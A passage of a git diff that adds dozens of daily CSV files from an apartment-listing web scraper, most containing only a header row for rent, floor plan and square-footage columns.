2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230926,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230926,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240123.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240123.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240123.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240124.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240124.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240124.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240125.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240125.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240125.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240126.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240126.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240126.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240127.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240127.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240127.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240128.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240128.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240128.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240129.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240129.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240129.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240130.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240130.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240130.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240131.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240131.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240131.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240201.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240201.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240201.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240202.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240202.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240202.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240203.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240203.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240203.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240204.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240204.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240204.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240205.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240205.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240205.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240206.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240206.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240206.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240207.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240207.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240207.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240208.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240208.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240208.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240209.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240209.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240209.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240210.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240210.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240210.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240211.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240211.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240211.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240212.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240212.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240212.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240213.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240213.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240213.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240214.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240214.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240214.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240215.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240215.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240215.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240216.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240216.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240216.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240217.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240217.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240217.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240218.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240218.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240218.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240219.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240219.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240219.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240220.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240220.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240220.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240221.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240221.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240221.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240222.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240222.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240222.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240223.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240223.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240223.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240224.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240224.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240224.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240225.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240225.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240225.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240226.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240226.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240226.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240227.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240227.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240227.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240228.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240228.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240228.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240229.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240229.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240229.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240301.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240301.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240301.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240302.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240302.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240302.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240303.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240303.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240303.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240304.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240304.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240304.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240305.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240305.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240305.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240306.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240306.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240306.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240307.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240307.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240307.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240308.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240308.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240308.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240309.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240309.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240309.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240310.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240310.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240310.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240311.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240311.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240311.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240312.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240312.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240312.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240313.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240313.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240313.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240314.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240314.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240314.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240315.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240315.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240315.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240316.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240316.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240316.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240317.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240317.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240317.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240318.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240318.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240318.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240319.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240319.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240319.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240320.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240320.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240320.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240321.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240321.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240321.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240322.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240322.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240322.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240323.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240323.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240323.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240324.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240324.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240324.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240325.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240325.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240325.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240326.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240326.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240326.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240327.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240327.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240327.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240328.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240328.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240328.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240329.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240329.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240329.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240330.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240330.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240330.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240331.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240331.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240331.csv @@ -0,0 +1 @@ 